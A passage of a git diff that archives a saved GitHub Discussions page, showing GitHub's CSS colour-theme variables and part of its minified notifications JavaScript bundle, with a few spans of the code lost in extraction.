#fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends 